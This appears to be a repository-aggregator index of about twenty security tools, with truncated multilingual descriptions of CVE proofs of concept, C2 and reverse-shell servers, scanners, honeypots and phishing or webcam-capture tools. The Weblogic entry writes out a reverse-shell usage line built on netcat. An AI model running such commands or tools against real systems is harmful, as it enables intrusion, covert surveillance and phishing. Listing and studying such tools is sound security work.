snallygaster

snallygaster Находит утечки файлов и другие проблемы безопасности на HTTP-серверах. что? snallygaster — это инструмент, который ищет файлы, доступные на веб-серверах, которые не должны быть публичными и могут представлять угрозу безопасности. Типичные примеры включают общедоступные git-репозитори...

airo-heat

Highlight.js Highlight.js нужен для подсветки синтаксиса в примерах кода в блогах, форумах и вообще на любых веб-страницах. Пользоваться им очень просто, потому что работает он автоматически: сам находит блоки кода, сам определяет язык, сам подсвечивает. Автоопределением языка можно управлять,...

apache_normalize_path

CVE-2021-41773|CVE-2021-42013: Apache HTTP 서버에서 악용된 경로 탐색 제로데이 10월 5일, Apache HTTP Server 프로젝트는 CVE-2021-41773을 패치했습니다. 이는 가장 널리 사용되는 웹 서버 중 하나인 Unix 및 Windows용 오픈소스 웹 서버인 Apache HTTP Server의 경로 탐색 및 파일 노출 취약점입니다. 보안 권고에 따르면, CVE-2021-41773은 제로데이로 실제 환경에서 악용되었습니다. 이 취약점은 Ash Daulton과 cPanel 보안 팀에...

CVE-2025-55182

CVE-2025-55182 Уязвимое приложение Сборка и запуск: docker compose build docker compose run --rm --entrypoint 'npm install' node docker compose run --rm --entrypoint 'npm run build' node docker compose up POC из https://github.com/msanft/CVE-2025-55182: node poc.js Эксперименты с unbundled: yarn...

Tyr

Tyr Одноранговая P2P электронная почта в сети Yggdrasil. English | Русский Скриншоты | | | ---|---|---|--- | | | Что такое Tyr? Tyr запускает полно...

OpenShell

OpenShell OpenShell — это легковесный сервер управления обратными оболочками с открытым исходным кодом, написанный на Go. Он позволяет устанавливать каналы обратной оболочки и взаимодействовать с ними через простой веб-интерфейс GUI. Если вы нашли ошибки или у вас есть предложения, не стесняйтесь...

R2C-CVE-2025-55182-66478

🔥React2Shell Toolkit-CVE-2025-55182 и CVE-2025-66478 🚨 Критическая RCE в React Server Components и Next.js 🚨 Профессиональный инструментарий Red Team для обнаружения и эксплуатации CVE-2025-55182 🔍 Возможности • ⚡ Быстрый старт • 📚 Документация • 🤝 Связаться со мной 🎯 О CVE-2025-55182 и...

Krawl

Krawl Современный настраиваемый веб-ханипот-сервер, предназначенный для обнаружения и отслеживания вредоносной активности атакующих и веб-краулеров с помощью обманных веб-страниц, поддельных учётных данных и canary-токенов. Содержание Демо Что такое Krawl? Панель управления Krawl Режимы...

Wing-FTP-Server-7.4.4-RCE-Authenticated

Wing FTP Server 7.4.4 - Удаленное выполнение кода аутентифицированный CVE-2025-5196 Wing FTP Server предоставляет административную консоль сценариев Lua, доступную через веб-интерфейс. Аутентифицированные администраторы могут выполнять произвольный код Lua с недостаточной изоляцией 'песочницей'...

domi-owned

Domi-Owned Краткое описание Domi-Owned — это инструмент, используемый для компрометации серверов IBM/Lotus Domino. Протестировано на IBM/Lotus Domino 8.5.2, 8.5.3, 9.0.0 и 9.0.1 под Windows и Linux. Требования Domi-Owned использует Python 3, который можно установить через менеджер пакетов вашего...

CVE-2019-3980

CVE-2019-3980 이 저장소는 사용자 지정 C 실행 파일과 함께 Nessus POC를 활용하여 원격 호스트에서 명령을 실행하고 해당 명령의 출력을 가져오기 위해 만들어졌습니다. python 파일은 웹 서버를 시작하고, 익스플로잇을 실행한 다음, 웹 서버를 통해 결과를 가져오는 데 사용됩니다. C exe는 익스플로잇을 통해 대상에 업로드됩니다. 대상에서 실행되면 exe는 지정된 IP/포트로 콜백하여 실행할 명령을 가져옵니다경로는 /cmd. 명령이 완료되면 exe는 출력을 동일한 웹 서버로 보냅니다. 출력 전송은 404를...

BlackBerryC2

BlackBerryC2 2.0.0-beta BlackBerryC2 — это зашифрованная платформа для удаленного администрирования и C2 , разработанная исключительно для образовательных целей, исследований в области безопасности и контролируемых лабораторных сред. Проект демонстрирует, как построить пользовательский сервер...

h3-cli

NodeZero MCP Server NodeZero MCP Server를 이제 사용할 수 있습니다. 로컬에서 호스팅되는 MCP Server를 실행하고 관리하여 NodeZero의 Find, Fix, VerifyFFV 기능을 개발 및 보안 워크플로우에 직접 통합할 수 있습니다. MCP Readme h3-cli: Horizon3.ai API용 CLI 도구 h3-cli는 Horizon3.ai API에 접근하기 위한 편리한 CLI명령줄 인터페이스입니다. Horizon3.ai API는 Horizon3.ai Portal에서 사용할 수 있는...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 용 Python EXP（한 번에 완료） 사용법: Python3 exploit.py -t -c 팁: 출력 없음 예시： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' 그러면 getshell 할 수 있습니다...

TLS-Scanner

TLS-Scanner TLS-Scanner — это инструмент, помогающий пентестерам и исследователям безопасности в оценке конфигураций TLS-серверов и клиентов. Обратите внимание: TLS-Scanner — это исследовательский инструмент, предназначенный для разработчиков TLS, пентестеров, администраторов и исследователей...

CamPhish

CamPhish Получайте снимки с фронтальной камеры телефона цели или веб-камеры ПК, просто отправив ссылку. Что такое CamPhish? CamPhish — это техника получения снимков с фронтальной камеры телефона цели или веб-камеры ПК. CamPhish размещает поддельный веб-сайт на встроенном PHP-сервере и использует...

CVE-2020-7247-POC

서문 익스플로잇에 대한 주요 사실 취약한 서버 설치 설정 환경 관련 주의사항 익스플로잇 수동 익스플로잇 스크립트를 이용한 익스플로잇 서문 이 저장소는 통제된 개인 환경에서 CVE-2020-7247을 설정하고 익스플로잇하기 위한 기반을 제공합니다. 게시된 모든 코드와 설정은 오직 이 취약점을 테스트하기 위한 목적이며, 자신의 시스템이 아니거나 익스플로잇 허가를 받지 않은 시스템을 남용하기 위한 것이 아닙니다. 이 저장소의 소유자는 제3자가 이 도구를 사용하는 것에 대해 책임을 지지 않습니다. 익스플로잇에 대한 주요 사실 코드의 ...

aioScan_CVE-2020-0796

aioScanCVE-2020-0796 서문 공개된 POC를 기반으로 코루틴을 활용하여 탐지 속도를 크게 향상시켰으며, 운영 엔지니어들이 빠르게 내부 네트워크를 탐지할 수 있도록 도와줍니다. 영향을 받는 버전 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903 Server Core...

evil-ssdp

Overview This tool responds to SSDP multicast discover requests, posing as a generic UPNP device. Your spoofed device will magically appear in Windows Explorer on machines in your local network. Users who are tempted to open the device are shown a configurable phishing page. This page can load a...

Apache-Authentication-Flaw-Research-CVE-2024-38476-

🛡️ Исследование уязвимости аутентификации Apache CVE-2024-38476 Подготовил: Abanoub Ehab 🛡️ Студенческий клуб телекоммуникаций Huawei - AOU Комплексная техническая исследовательская работа по уязвимости семантической неоднозначности в Apache HTTP Server и её влиянию на обработку ответов бэкенда. 📝...